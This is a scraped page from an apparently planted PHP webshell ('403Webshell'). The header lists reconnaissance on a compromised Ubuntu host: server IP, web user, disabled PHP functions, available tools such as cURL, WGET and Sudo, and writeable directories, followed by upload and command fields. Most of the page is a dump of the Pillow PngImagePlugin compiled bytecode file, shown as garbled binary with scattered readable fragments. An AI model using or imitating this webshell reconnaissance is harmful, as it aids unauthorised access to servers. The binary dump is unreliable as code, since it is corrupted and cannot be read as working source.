403Webshell
Server IP : 146.190.157.162  /  Your IP : 216.73.217.127
Web Server : Apache
System : Linux ubuntu-s-2vcpu-4gb-amd-sfo3-01-KIT-DIGITAL 6.5.0-44-generic #44-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 7 15:10:09 UTC 2024 x86_64
User : businessweek ( 639)
PHP Version : 8.2.10-2ubuntu2.2
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_signal,pcntl_signal_dispatch,pcntl_getpriority,pcntl_setpriority,dl,putenv,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/PIL/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/PIL/__pycache__/PngImagePlugin.cpython-311.pyc
�

D#�d&����ddlZddlZddlZddlZddlZddlZddlmZddlm	Z	m
Z
mZmZm
Z
ddlmZddlmZddlmZddlmZdd	lmZeje��Zejd
��jZdZdd
dddddddddddddd�Zejd��Z ej!Z"	de"zZ#	Gd�de��Z$Gd �d!e��Z%d"�Z&dJd#�Z'Gd$�d%��Z(Gd&�d'e)��Z*Gd(�d)��Z+Gd*�d+e(��Z,d,�Z-Gd-�d.ej��Z.d/d0d1d2d3d4d5d5d6d7d8d9d:d;d<�Z/d=�Z0Gd>�d?��Z1Gd@�dA��Z2dB�Z3dC�Z4e0dDfdE�Z5dF�Z6e	j7e.j8e.e-��e	j9e.j8e5��e	j:e.j8e4��e	j;e.j8dGdHg��e	j<e.j8dI��dS)K�N)�IntEnum�)�Image�
ImageChops�	ImageFile�ImagePalette�
ImageSequence)�i16be)�i32be)�o8)�o16be)�o32bes\w\w\w\ws�PNG

)�1r)�L�L;2)r�L;4)rr)�I�I;16B)�RGBr)rzRGB;16B)�P�P;1)r�P;2)r�P;4)rr)�LAr)�RGBAzLA;16B)rr)rzRGBA;16B))rr)�r)�r)�r)�r)rr)rr)r�)rr )rr )rr )rr)rr)r�)rr!s^�*�*$�@c��eZdZdZ	dZ	dZdS)�DisposalrrrN)�__name__�
__module__�__qualname__�OP_NONE�
OP_BACKGROUND�OP_PREVIOUS���4/usr/lib/python3/dist-packages/PIL/PngImagePlugin.pyr$r$bs1�������G���M��
�K��r,r$c��eZdZdZ	dZdS)�BlendrrN)r%r&r'�	OP_SOURCE�OP_OVERr+r,r-r/r/ws%�������I��
�G��r,r/c��tj��}|�|t��}|jrd}t|���|S)NzDecompressed Data Too Large)�zlib�
decompressobj�
decompress�MAX_TEXT_CHUNK�unconsumed_tail�
ValueError)�s�dobj�	plaintext�msgs    r-�_safe_zlib_decompressr=�sE������D�����>�2�2�I����+����o�o���r,c�2�tj||��dzS)Nl��)r3�crc32)�data�seeds  r-�_crc32rB�s���:�d�D�!�!�J�.�.r,c�L�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
d�ZdS)�ChunkStreamc�"�||_g|_dS�N)�fp�queue)�selfrGs  r-�__init__zChunkStream.__init__�s�������
�
�
r,c��d}|jr8|j���\}}}|j�|��nL|j�d��}|dd�}|j���}t
|��}t|��s.tj	s"dt|���d�}t|���|||fS)z.Fetch a new chunk. Returns header information.Nrrzbroken PNG file (chunk �))rH�poprG�seek�read�tell�i32�is_cidr�LOAD_TRUNCATED_IMAGES�repr�SyntaxError)rI�cid�pos�lengthr9r<s      r-rOzChunkStream.read�s������:�	�#�z�~�~�/�/��C��f��G�L�L����������Q���A��A�B�B�%�C��'�,�,�.�.�C���V�V�F��c�{�{�	'��2�
'�<��S�	�	�<�<�<��!�#�&�&�&��C���r,c��|SrFr+�rIs r-�	__enter__zChunkStream.__enter__�s���r,c�.�|���dSrF)�close)rI�argss  r-�__exit__zChunkStream.__exit__�s���
�
�����r,c�"�dx|_|_dSrF)rHrGrZs r-r]zChunkStream.close�s��#�#��
�T�W�W�Wr,c�@�|j�|||f��dSrF)rH�append�rIrVrWrXs    r-�pushzChunkStream.push�s%���
���3��V�,�-�-�-�-�-r,c��t�d|||��t|d|�d��z��||��S)z"Call the appropriate chunk handlerzSTREAM %r %s %s�chunk_�ascii)�logger�debug�getattr�decodercs    r-�callzChunkStream.call�sJ��	���&��S�&�9�9�9�<�w�t�X��
�
�7�(;�(;�;�<�<�S�&�I�I�Ir,c��tjr&|ddz	dzr|�||��dS	t|t|����}t	|j�d����}||kr"dt|���d�}t|���dS#tj
$r(}dt|���d�}t|��|�d}~wwxYw)	zRead and verify checksumr�rNrz(broken PNG file (bad header checksum in rLz(broken PNG file (incomplete checksum in )rrS�crc_skiprBrQrGrOrTrU�struct�error)rIrVr@�crc1�crc2r<�es       r-�crczChunkStream.crc�s����*�	��A��!��a��	��M�M�#�t�$�$�$��F�	*��$��s���,�,�D��t�w�|�|�A���'�'�D��t�|�|�M��c���M�M�M��!�#�&�&�&��|���|�	*�	*�	*�I�T�#�Y�Y�I�I�I�C��c�"�"��)�����	*���s�A,B"�"C�1#C�Cc�:�|j�d��dS)z
Read checksumrN)rGrO)rIrVr@s   r-rozChunkStream.crc_skip�s��	
����Q�����r,�IENDc�(�g}		|���\}}}n)#tj$r}d}t|��|�d}~wwxYw||krnD|�|tj|j|����|�|����|S)NTztruncated PNG file)	rOrprq�OSErrorrur�
_safe_readrGrb)rI�endchunk�cidsrVrWrXrtr<s        r-�verifyzChunkStream.verify�s�����
	�
*�#'�9�9�;�;� ��S�&�&���<�
*�
*�
*�*���c�l�l��)�����
*�����h�����H�H�S�)�.�t�w��?�?�@�@�@��K�K�����
	��s��A�?�AN)rw)
r%r&r'rJrOr[r_r]rdrlruror}r+r,r-rDrD�s���������� � � �(������$�$�$�.�.�.�J�J�J�*�*�*�(���
�����r,rDc�*�eZdZdZedd���ZdS)�iTXtzq
    Subclass of string to allow iTXt chunks to look like strings while
    keeping their extra information

    Nc�X�t�||��}||_||_|S)z�
        :param cls: the class to use when creating the instance
        :param text: value for this key
        :param lang: language code
        :param tkey: UTF-8 version of the key name
        )�str�__new__�lang�tkey)�cls�textr�r�rIs     r-r�ziTXt.__new__�s*���{�{�3��%�%����	���	��r,)NN)r%r&r'�__doc__�staticmethodr�r+r,r-rr�s>�������������\���r,rc�0�eZdZdZd�Zd	d�Zd
d�Zd	d�ZdS)�PngInfoz<
    PNG chunk container (for use with save(pnginfo=))

    c��g|_dSrF)�chunksrZs r-rJzPngInfo.__init__s
������r,Fc��||g}|r|�d��|j�t|����dS)a"Appends an arbitrary chunk. Use with caution.

        :param cid: a byte string, 4 bytes long.
        :param data: a byte string of the encoded data
        :param after_idat: for use with private chunks. Whether the chunk
                           should be written after IDAT

        TN)rbr��tuple)rIrVr@�
after_idat�chunks     r-�addzPngInfo.addsI���d����	��L�L���������5��<�<�(�(�(�(�(r,�c�*�t|t��s|�dd��}t|t��s|�dd��}t|t��s|�dd��}t|t��s|�dd��}|r<|�d|dz|zdz|zdzt	j|��z��dS|�d|dz|zdz|zdz|z��dS)	z�Appends an iTXt chunk.

        :param key: latin-1 encodable text key name
        :param value: value for this key
        :param lang: language code
        :param tkey: UTF-8 version of the key name
        :param zip: compression flag

        �latin-1�strict�utf-8�iTXts�sN)�
isinstance�bytes�encoder�r3�compress)rI�key�valuer�r��zips      r-�add_itxtzPngInfo.add_itxts)���#�u�%�%�	2��*�*�Y��1�1�C��%��'�'�	4��L�L��(�3�3�E��$��&�&�	2��;�;�w��1�1�D��$��&�&�	2��;�;�w��1�1�D��	U��H�H���k�!�D�(�5�0�4�7�%�?�$�-�PU�BV�BV�V�
�
�
�
�
�

�H�H�W�c�I�o��4�u�<�t�C�e�K�e�S�T�T�T�T�Tr,c��t|t��r$|�|||j|j|���St|t
��s@	|�dd��}n(#t$r|�|||���cYSwxYwt|t
��s|�dd��}|r0|�d|dztj
|��z��dS|�d|dz|z��dS)	z�Appends a text chunk.

        :param key: latin-1 encodable text key name
        :param value: value for this key, text or an
           :py:class:`PIL.PngImagePlugin.iTXt` instance
        :param zip: compression flag

        )r�r�r��zTXt��tEXtr�N)r�rr�r�r�r�r��UnicodeErrorr�r3r�)rIr�r�r�s    r-�add_textzPngInfo.add_text9s���e�T�"�"�	N��=�=��e�U�Z����=�M�M�M��%��'�'�	:�
:����Y��9�9�����
:�
:�
:��}�}�S�%�S�}�9�9�9�9�9�
:�����#�u�%�%�	2��*�*�Y��1�1�C��	3��H�H�W�c�G�m�d�m�E�.B�.B�B�C�C�C�C�C��H�H�W�c�E�k�E�1�2�2�2�2�2s�A'�'"B�BN�F)r�r�F)r%r&r'r�rJr�r�r�r+r,r-r�r�sm��������
���
)�
)�
)�
)�U�U�U�U�83�3�3�3�3�3r,r�c���eZdZ�fd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z�xZS)�	PngStreamc����t���|��i|_i|_d|_d|_d|_d|_d|_d|_	d|_
d|_d|_dS)N�rrr)
�superrJ�im_info�im_text�im_size�im_mode�im_tile�
im_palette�im_custom_mimetype�im_n_frames�_seq_num�rewind_state�text_memory)rIrG�	__class__s  �r-rJzPngStream.__init__Zst���
���������������������������"&��������
� �������r,c�z�|xj|z
c_|jtkrd|j�d�}t|���dS)Nz%Too much memory used in text chunks: z>MAX_TEXT_MEMORY)r��MAX_TEXT_MEMORYr8)rI�chunklenr<s   r-�check_text_memoryzPngStream.check_text_memoryksY�����H�$�����o�-�-�6��#�6�6�6�
��S�/�/�!�.�-r,c�^�|j���|j|jd�|_dS)N)�info�tile�seq_num)r��copyr�r�r�rZs r-�save_rewindzPngStream.save_rewindts2���L�%�%�'�'��L��}�
�
����r,c�r�|jd|_|jd|_|jd|_dS)Nr�r�r�)r�r�r�r�rZs r-�rewindzPngStream.rewind{s3���(��0����(��0����)�)�4��
�
�
r,c���tj|j|��}|�d��}t�d|d|���t�d||��||}|dkrd|�d�}t
|���	t||dzd���}n2#t$rtj	rd}n�Yntj$rd}YnwxYw||jd<|S)	Nr�ziCCP profile name %rzCompression method %sr�Unknown compression method z in iCCP chunkr�icc_profile)
rrzrG�findrhrirUr=r8rSr3rqr�)rIrWrXr9�i�comp_methodr<r�s        r-�
chunk_iCCPzPngStream.chunk_iCCP�s��� ���&�1�1��
�F�F�5�M�M�����+�Q�r��r�U�3�3�3����,�a��d�3�3�3���d���!���K��K�K�K�C��c�"�"�"�	�/��!�a�%�'�'�
�;�;�K�K���	�	�	��.�
�"�������z�	�	�	��K�K�K�	����&1���]�#��s�B3�3C"�C"�!C"c��tj|j|��}|dkrtjr|Sd}t	|���t|d��t|d��f|_	t|d|df\|_|_	n#t$rYnwxYw|dr
d|jd	<|d
rd}t|���|S)N�
zTruncated IHDR chunkrrr�	�r�	interlace�zunknown filter category)
rrzrGrSr8rQr��_MODESr��
im_rawmode�	Exceptionr�rU�rIrWrXr9r<s     r-�
chunk_IHDRzPngStream.chunk_IHDR�s���� ���&�1�1���B�;�;��.�
���(�C��S�/�/�!��1�a�y�y�#�a��)�)�+���	�,2�A�a�D�!�A�$�<�,@�)�D�L�$�/�/���	�	�	��D�	�����R�5�	*�()�D�L��%��R�5�	#�+�C��c�"�"�"��s�&(B�
B�Bc��d|jvrd|jd||jfg}n%|j�
d|jd<dd|jz||jfg}||_||_t�)N�bboxr�T�
default_imager�)r�r�r�r�r��im_idat�EOFError)rIrWrXr�s    r-�
chunk_IDATzPngStream.chunk_IDAT�sm���T�\�!�!��D�L��0�#�t��G�H�D�D���+�04���_�-��F�T�\�1�3���H�I�D��������r,c��t�rF)r�)rIrWrXs   r-�
chunk_IENDzPngStream.chunk_IEND�s���r,c�b�tj|j|��}|jdkr	d|f|_|S)Nrr)rrzrGr�r��rIrWrXr9s    r-�
chunk_PLTEzPngStream.chunk_PLTE�s3��� ���&�1�1���<�3���#�Q�h�D�O��r,c��tj|j|��}|jdkrKt�|��r&|�d��}|dkr
||jd<nm||jd<nb|jdvrt|��|jd<nA|jdkr6t|��t|d��t|d��f|jd<|S)	Nrr�r�transparency�rrrrrr)	rrzrGr��_simple_palette�matchr�r��i16)rIrWrXr9r�s     r-�
chunk_tRNSzPngStream.chunk_tRNS�s���� ���&�1�1���<�3����$�$�Q�'�'�	
1��F�F�5�M�M����6�6�34�D�L��0��01���^�,�,�
�\�_�
,�
,�+.�q�6�6�D�L��(�(�
�\�U�
"�
"�+.�q�6�6�3�q�!�9�9�c�!�Q�i�i�+G�D�L��(��r,c�n�tj|j|��}t|��dz|jd<|S)N�j�@�gamma)rrzrGrQr�r�s    r-�
chunk_gAMAzPngStream.chunk_gAMA�s2��� ���&�1�1�� #�A���� 1���W���r,c���tj|j|��}tjdt|��dzz|��}t
d�|D����|jd<|S)Nz>%dIrc3� K�|]	}|dzV��
dS)r�Nr+)�.0�elts  r-�	<genexpr>z'PngStream.chunk_cHRM.<locals>.<genexpr>�s&����,P�,P��S�8�^�,P�,P�,P�,P�,P�,Pr,�chromaticity)rrzrGrp�unpack�lenr�r�)rIrWrXr9�raw_valss     r-�
chunk_cHRMzPngStream.chunk_cHRM�s`��
� ���&�1�1���=��3�q�6�6�Q�;�!7��;�;��',�,P�,P�x�,P�,P�,P�'P�'P���^�$��r,c��tj|j|��}|dkrtjr|Sd}t	|���|d|jd<|S)NrzTruncated sRGB chunkr�srgb)rrzrGrSr8r�r�s     r-�
chunk_sRGBzPngStream.chunk_sRGB�sW��
� ���&�1�1���A�:�:��.�
���(�C��S�/�/�!� ��t���V���r,c�.�tj|j|��}|dkrtjr|Sd}t	|���t|d��t|d��}}|d}|dkr|dz|dzf}||jd<n|dkr||f|jd	<|S)
Nr�zTruncated pHYs chunkrrrr�
F%u�?�dpi�aspect)rrzrGrSr8rQr�)	rIrWrXr9r<�px�py�unitr�s	         r-�
chunk_pHYszPngStream.chunk_pHYs�s���� ���&�1�1���A�:�:��.�
���(�C��S�/�/�!��Q����C��1�I�I�B����t���1�9�9��v�+�r�F�{�*�C�"%�D�L����
�Q�Y�Y�%'��V�D�L��"��r,c�p�tj|j|��}	|�dd��\}}n#t$r|}d}YnwxYw|rj|�dd��}|�dd��}|dkr|n||j|<||j|<|�t|����|S)Nr�rr,r�r��replace�exif)
rrzrG�splitr8rkr�r�r�r�)rIrWrXr9�k�v�v_strs       r-�
chunk_tEXtzPngStream.chunk_tEXt
s���� ���&�1�1��	��7�7�5�!�$�$�D�A�q�q���	�	�	��A��A�A�A�	����
�	/�����H�-�-�A��H�H�Y�	�2�2�E�#$��;�;�a�a�E�D�L��O�#�D�L��O��"�"�3�u�:�:�.�.�.��s�6�A�Ac�F�tj|j|��}	|�dd��\}}n#t$r|}d}YnwxYw|r	|d}nd}|dkrd|�d�}t|���	t
|dd���}n2#t$rtjrd}n�Yntj	$rd}YnwxYw|rb|�
dd��}|�
dd	��}|x|j|<|j|<|�
t|����|S)
Nr�rr,rr�z in zTXt chunkr�r�r)rrzrGrr8rUr=rSr3rqrkr�r�r�r�)rIrWrXr9rrr�r<s        r-�
chunk_zTXtzPngStream.chunk_zTXtsw��� ���&�1�1��	��7�7�5�!�$�$�D�A�q�q���	�	�	��A��A�A�A�	����
�	��A�$�K�K��K��!���K��K�K�K�C��c�"�"�"�	�%�a����e�,�,�A�A���	�	�	��.�
��������z�	�	�	��A�A�A�	����
�	+�����H�-�-�A�����I�.�.�A�01�1�D�L��O�d�l�1�o��"�"�3�q�6�6�*�*�*��s'�6�A�A�3B�B:�'B:�9B:c�T�tj|j|��x}}	|�dd��\}}n#t$r|cYSwxYwt|��dkr|S|d|d|dd�}}}	|�dd��\}}	}
n#t$r|cYSwxYw|dkrJ|dkrB	t
|
��}
n3#t$rtjr|cYS�tj	$r|cYSwxYw|S	|�
dd��}|�
dd��}|	�
dd��}	|
�
dd��}
n#t$r|cYSwxYwt|
||	��x|j
|<|j|<|�t|
����|S)Nr�rrrr�r�r�)rrzrGrr8r�r=rSr3rqrkr�rr�r�r�)rIrWrX�rr9r�cf�cmr��tkrs           r-�
chunk_iTXtzPngStream.chunk_iTXt?s���$�T�W�f�5�5�5��A�	��7�7�5�!�$�$�D�A�q�q���	�	�	��H�H�H�	�����q�6�6�A�:�:��H��a�D�!�A�$��!�"�"���B��	��'�'�%��+�+�K�D�"�a�a���	�	�	��H�H�H�	����
��7�7��Q�w�w��-�a�0�0�A�A��!���� �6�� ������z�����H�H�H�������	�����H�-�-�A��;�;�w��1�1�D����7�H�-�-�B�����(�+�+�A�A���	�	�	��H�H�H�	����-1��D�"�,=�,=�=���Q��$�,�q�/����s�1�v�v�&�&�&��sL�8�A�A�:B�B$�#B$�4C�C2�C2�1C2�8AE�E �E c�T�tj|j|��}d|z|jd<|S)N�Exifr)rrzrGr�r�s    r-�
chunk_eXIfzPngStream.chunk_eXIfgs,��� ���&�1�1��.��2���V���r,c�z�tj|j|��}|dkrtjr|Sd}t	|���|j�d|_t
jd��|St|��}|dks|dkrt
jd��|S||_t|d��|j	d<d|_
|S)	Nrz"APNG contains truncated acTL chunkz4Invalid APNG, will use default PNG image if possiblerlr�loopz
image/apng)rrzrGrSr8r��warnings�warnrQr�r�)rIrWrXr9r<�n_framess      r-�
chunk_acTLzPngStream.chunk_acTLms���� ���&�1�1���A�:�:��.�
���6�C��S�/�/�!���'�#�D���M�P�Q�Q�Q��H��q�6�6���q�=�=�H�z�1�1��M�P�Q�Q�Q��H�#���"�1�a�y�y���V��".����r,c��tj|j|��}|dkrtjr|Sd}t	|���t|��}|j�|dks|j�|j|dz
krd}t|���||_t|d��t|d��}}t|d��t|d	��}	}|j\}
}||z|
ks	|	|z|krd
}t|���||	||z|	|zf|j	d<t|d��t|d
��}
}|
dkrd}
t|��t|
��zdz|j	d<|d|j	d<|d|j	d<|S)N�z"APNG contains truncated fcTL chunkrr�#APNG contains frame sequence errorsrrr�rzAPNG contains invalid framesr����d���duration��disposal��blend)rrzrGrSr8rQr�rUr�r�r��float)rIrWrXr9r<�seq�width�heightr�r��im_w�im_h�	delay_num�	delay_dens              r-�
chunk_fcTLzPngStream.chunk_fcTL�s���� ���&�1�1���B�;�;��.�
���6�C��S�/�/�!��!�f�f���M�!�c�Q�h�h��M�%�$�-�3��7�*B�*B�7�C��c�"�"�"���
��A�q�	�	�3�q�!�9�9�v���Q����S��B�Z�Z�B���\�
��d�
��:�����V��d� 2� 2�0�C��c�"�"�"� "�B��U�
�B��K�@���V��"�1�b�z�z�3�q�"�:�:�9�	���>�>��I�#(��#3�#3�e�I�6F�6F�#F��#M���Z� �#$�R�5���Z� � !�"����W���r,c�V�|dkr9tjrtj|j|��}|Sd}t	|���tj|jd��}t|��}|j|dz
krd}t|���||_|�|dz|dz
��S)Nrz"APNG contains truncated fDAT chunkrr)	rrSrzrGr8rQr�rUr�)rIrWrXr9r<r(s      r-�
chunk_fdATzPngStream.chunk_fdAT�s����A�:�:��.�
��(���&�9�9����6�C��S�/�/�!�� ���!�,�,���!�f�f���=�C�!�G�#�#�7�C��c�"�"�"���
����s�Q�w���
�3�3�3r,)r%r&r'rJr�r�r�r�r�r�r�r�r�r�r�r�rr	rrrrr/r1�
__classcell__�r�s@r-r�r�Ysf������������""�"�"�
�
�
�5�5�5�
���6���(
�
�
����������(��������� ���"���& � � �D&�&�&�P������(���:
4�
4�
4�
4�
4�
4�
4r,r�c�(�|dd�tkS)Nr)�_MAGIC)�prefixs r-�_acceptr7�s���"�1�"�:���r,c�z��eZdZdZdZd�Zed���Zd�Zd�Z	dd�Z
d	�Zd
�Zd�Z
d�Zd
�Z�fd�Zd�Z�xZS)�PngImageFile�PNGzPortable network graphicsc�|�t|j�d����sd}t|���|j|_d|_g|_t|j��|_	|j���\}}}	|j�	|||��}n�#t$rYn�t$rrt�
d|||��tj|j|��}|dd����r|j�||f��YnwxYw|j�||����|jj|_|jj|_|jj|_d|_|jj|_|jj|_|jjpd|_|j� dd	��|_!|jj"r)|jj"\}}tGj$||��|_%|d
kr|dz
|_&n||_&|jj�vd	|_'|j�(��|j&|_)|j�*��|_+|j!r|xjdz
c_|�,d��|jdk|_-dS)Nrznot a PNG filerT�%r %s %s (unknown)rrr�F�fdATr).r7rGrOrU�_fp�_PngImageFile__frame�private_chunksr��pngrlr��AttributeErrorrhrirrz�islowerrbrur��moder��_sizer�r��_textr�r�r��custom_mimetyper�r�getr�r�r�raw�palette�_PngImageFile__prepare_idat�!_close_exclusive_fp_after_loadingr��_PngImageFile__rewind_idatrP�_PngImageFile__rewind�_seek�is_animated)rIr<rVrWrXr9�rawmoder@s        r-�_openzPngImageFile._open�s����t�w�|�|�A���'�'�	#�"�C��c�"�"�"��7������
!����T�W�%�%���	!� $�x�}�}����C��f�
9��H�M�M�#�s�F�3�3�����
�
�
���!�
9�
9�
9����1�3��V�D�D�D��(���&�9�9���q��s�8�#�#�%�%�9��'�.�.��Q�x�8�8�8���	
9����
�H�L�L��a� � � �!	!�2�H�$��	��X�%��
��H�$��	���
��H�$��	�#�x�:�����,�1���
�!�Y�]�]�?�E�B�B����8��	;� �H�/�M�G�T�'�+�G�T�:�:�D�L��'�>�>�"(�1�*�D���"(�D���8��+�5:�D�2��H� � �"�"�"�!%�!4�D�� �H�M�M�O�O�D�M��!�
#��
�
��"�
�
��J�J�q�M�M�M��=�1�,����s�B(�(
D/�4A8D/�.D/c���|j�[|jr$|j}|�|jdz
��|���|jr|�|��|jS)Nr)rFrPr?rNr�load)rI�frames  r-r�zPngImageFile.textsk���:����
-�����	�	�$�-�!�+�,�,�,��I�I�K�K�K���
!��	�	�%� � � ��z�r,c�D�|j�d}t|���|j�|jdddz
��|j���|j���|jr|j���d|_dS)zVerify PNG fileNz)verify must be called directly after openrrr)rG�RuntimeErrorrNr�rAr}r]�
_exclusive_fp)rIr<s  r-r}zPngImageFile.verifys����7�?�=�C��s�#�#�#�	
����T�Y�q�\�!�_�q�(�)�)�)�����������������	��G�M�M�O�O�O�����r,c�^�|�|��sdS||jkr|�dd��|j}t|jdz|dz��D]Q}	|�|���#t$r,}|�|��d}t	|��|�d}~wwxYwdS)NrTrzno more images in APNG file)�_seek_checkr?rO�ranger�rN)rIrU�
last_frame�frtr<s      r-rNzPngImageFile.seek!s�������&�&�	��F��4�<����J�J�q�$�����\�
��t�|�a�'����3�3�	+�	+�A�
+��
�
�1�
�
�
�
���
+�
+�
+��	�	�*�%�%�%�3���s�m�m��*�����
+����	+�	+s�A4�4
B*�>'B%�%B*Fc�&	�|dk�r|r�|j�|j��|j���|j|_d|_|jrd|_|jj	|_
|jj|_|j|_
d|_d|_|j
�dd��|_|j
�d��|_|j
�d��|_|j
�d��|_d|_�ns||jdzkrd|��}t-|���|���|jr%|j�|j|j��|j���|_|j|_
|jr&t5j|j
|j��d|_d}	|j
�d
��	|j���\}}}n#t:jt>f$rYn�wxYw|dkrd}tA|���|d
kr|rd}t?|���d	}	|j�!|||��n�#tD$rYn�t@$r3|dkr|d
z}|r	||_Yndt5j|j
|��YnFtF$r:tH�%d|||��t5j|j
|��YnwxYw��4||_|jj|_|j
�d��|_|j
�d��|_|j
�d��|_|jst@�|j�&|jtLj'krtLj(|_|jtLj'krE|j���|_|�)|j|j��|_dS|jtLj(krVtTj+�,|j-|j.��|_|�)|j|j��|_dSd|_dS)Nrr�Fr$r&r�rzcannot seek to frame TrrwzNo more images in APNG file�fcTLzAPNG missing frame datar=r<)/r>rNrNrAr�rMrK�im�pyaccessr�r�r�r�rG�_prev_im�disposerHr��
dispose_op�blend_op�dispose_extentr?r8rT�paster�rrzrOrprqrUr�rl�UnicodeDecodeErrorrBrhrir$r*r)�_cropr�core�fillrD�size)rIrUr�r<�frame_startrVrWrXs        r-rOzPngImageFile._seek0s7���A�:�:��	
#���
�
�d�m�,�,�,�����!�!�!�&*�&8��#�����=�)�$(�D�M� �H�,��	� �H�,��	��(��� �D�M��D�L�!%������!F�!F�D��"�i�m�m�J�7�7�D�O� �I�M�M�'�2�2�D�M�"&�)�-�-��"7�"7�D���D�L�L����q�(�(�(�5�e�5�5�� ��o�o�%�
�I�I�K�K�K��|�
A���
�
�d�l�D�,?�@�@�@� �G�L�L�N�N�D�M��h�D�G��"�
(��$�T�W�d�.A�B�B�B�&'��#��K�
:�����Q�����'+�x�}�}���$�C��f�f����k�2�����E������'�>�>�7�C�"�3�-�-�'��'�>�>�"�/�7��)�#�.�.�.�"&�K�
:��H�M�M�#�s�F�3�3�3�3��)�����E��:�:�:��g�~�~��!���&�"�28�D�/�!�E��(���&�9�9�9�9�9�%�:�:�:��L�L�!5�s�C��H�H�H��(���&�9�9�9�9�9�:����;
:�B!�D�L���(�D�I�"�i�m�m�J�7�7�D�O� �I�M�M�'�2�2�D�M�"&�)�-�-��"7�"7�D���9�
����=� �T�_��8L�%L�%L�&�4�D�O��?�h�2�2�2��=�-�-�/�/�D�L��:�:�d�l�D�4G�H�H�D�L�L�L�
�_�� 6�
6�
6� �:�?�?�4�9�d�i�@�@�D�L��:�:�d�l�D�4G�H�H�D�L�L�L��D�L�L�Ls7�<H�H3�2H3�)J�
L�L�1L�
AL�Lc��|jSrF)r?rZs r-rPzPngImageFile.tell�s
���|�r,c��|j�d��r|jdz|_|j|_t
j�|��dS)z"internal: prepare to read PNG filer�)rN)r�rH�
decoderconfigrK�_PngImageFile__idatr�load_preparerZs r-rrzPngImageFile.load_prepare�sQ���9�=�=��%�%�	;�!%�!3�d�!:�D���)�����(�(��.�.�.�.�.r,c��|jdkr�|j�d��|j���\}}}|dvr|j�|||��dS|dkr9	|j�|||��n#t$rYnwxYw|dz
|_n||_|jdk��|dkr|j}nt||j��}|j|z
|_|j�|��S)zinternal: read more image datarr)�IDATsDDATr=r,r=)rqrGrOrArdrlr��min)rI�
read_bytesrVrWrXs     r-�	load_readzPngImageFile.load_read�s���k�Q���
�G�L�L��O�O�O�#�x�}�}����C��f��5�5�5���
�
�c�3��/�/�/��s��g�~�~���H�M�M�#�s�F�3�3�3�3�������D�����$�q�j����$���%�k�Q���*��?�?���J�J��Z���5�5�J��k�J�.����w�|�|�J�'�'�'s�,B	�	
B�Bc�>�|jdkr|j�|j��	|j�d��	|j���\}}}n#tjtf$rY�nwxYw|dkr�n|dkr+|jr$d|_|j�	|||��n�	|j�
|||��n�#t$rYn�t$r(|dkr|dz}tj|j|��Ynt$rst �d|||��tj|j|��}|dd	����r|j�||df��YnwxYw��j|jj|_|js"|j���d
|_d
S|jr�|jt4jkr�|�|j|j��}|jjdkr+d|j vr"|�!d
|j d��}n|�"d
��}|j�#||j|��|j|_|j$r
d
|_$d
Sd
Sd
Sd
S)z%internal: finished reading image datarTrrwr_r=r<rrNrr�r)%rqrGrOrArprqrUrPrKrdrlrhr�rrzrBrhrirCr@rbr�rFr]rbrer/r1rir`rfrDr��convert_transparent�convertrgra)rIrVrWrXr9�updated�masks       r-�load_endzPngImageFile.load_end�s����;�!����G�L�L���%�%�%�	?��G�L�L��O�O�O�
�#'�8�=�=�?�?� ��S�&�&���L�+�.�
�
�
���
�����g�~�~������D�$4��&'��#���
�
�c�3��/�/�/��
?���
�
�c�3��/�/�/�/��%�
�
�
����
6�
6�
6��'�>�>��a�K�F��$�T�W�f�5�5�5�5�5�!�
?�
?�
?����1�3��V�D�D�D��(���&�9�9���q��s�8�#�#�%�%�?��'�.�.��Q��~�>�>�>���	
?����1	?�:�X�%��
���	)��H�N�N�����D�H�H�H��}�
)���%�-�!?�!?��*�*�T�W�d�.A�B�B���7�<�5�(�(�^�t�y�-H�-H�"�6�6���	�.� 9���D�D�#�?�?�6�2�2�D��
�#�#�G�T�-@�$�G�G�G��-����=�)�$(�D�M�M�M�
)�
)�!?�!?�)�)s1�A%�%A?�>A?�<C�
F�%.F�A9F�Fc��d|jvr|���d|jvrd|jvrdS|������S)NrzRaw profile type exif)r�rT�getexif�_get_merged_dictrZs r-�_getexifzPngImageFile._getexif�sU�����"�"��I�I�K�K�K����"�"�'>�d�i�'O�'O��4��|�|�~�~�.�.�0�0�0r,c�~��d|jvr|���t�����S)Nr)r�rTr�r)rIr�s �r-rzPngImageFile.getexif�s1������"�"��I�I�K�K�K��w�w��� � � r,c�X�d|jvr |�|jd��niS)z�
        Returns a dictionary containing the XMP tags.
        Requires defusedxml to be installed.

        :returns: XMP tags in a dictionary.
        zXML:com.adobe.xmp)r��_getxmprZs r-�getxmpzPngImageFile.getxmp�s5��#�d�i�/�/�
�L�L���#6�7�8�8�8��	
r,r�)r%r&r'�format�format_descriptionrR�propertyr�r}rNrOrPrrrwr}r�rr�r2r3s@r-r9r9�s�������
�F�4��A-�A-�A-�F����X�����"
+�
+�
+�[ �[ �[ �[ �z���/�/�/�(�(�(�B1)�1)�1)�f1�1�1�!�!�!�!�!�
�
�
�
�
�
�
r,r9)r�)�L;1r�)rs)rs)rs)rs)rs)rs)rs)rs)rs)rs)rs)rr�rrrrrzI;16rrrrrrc�<�d�|��}|�tt|����|z��|�|��t	|t	|����}|�t|����dS)z'Write a PNG chunk (including CRC field)r,N)�join�write�o32r�rB�rGrVr@rus    r-�putchunkr�sx���8�8�D�>�>�D��H�H�S��T���^�^�c�
!�"�"�"��H�H�T�N�N�N�
��v�c�{�{�
#�
#�C��H�H�S��X�X�����r,c��eZdZd�Zd�ZdS)�_idatc�"�||_||_dSrF)rGr�)rIrGr�s   r-rJz_idat.__init__,s�������
�
�
r,c�>�|�|jd|��dS)Nrt)r�rG�rIr@s  r-r�z_idat.write0s ���
�
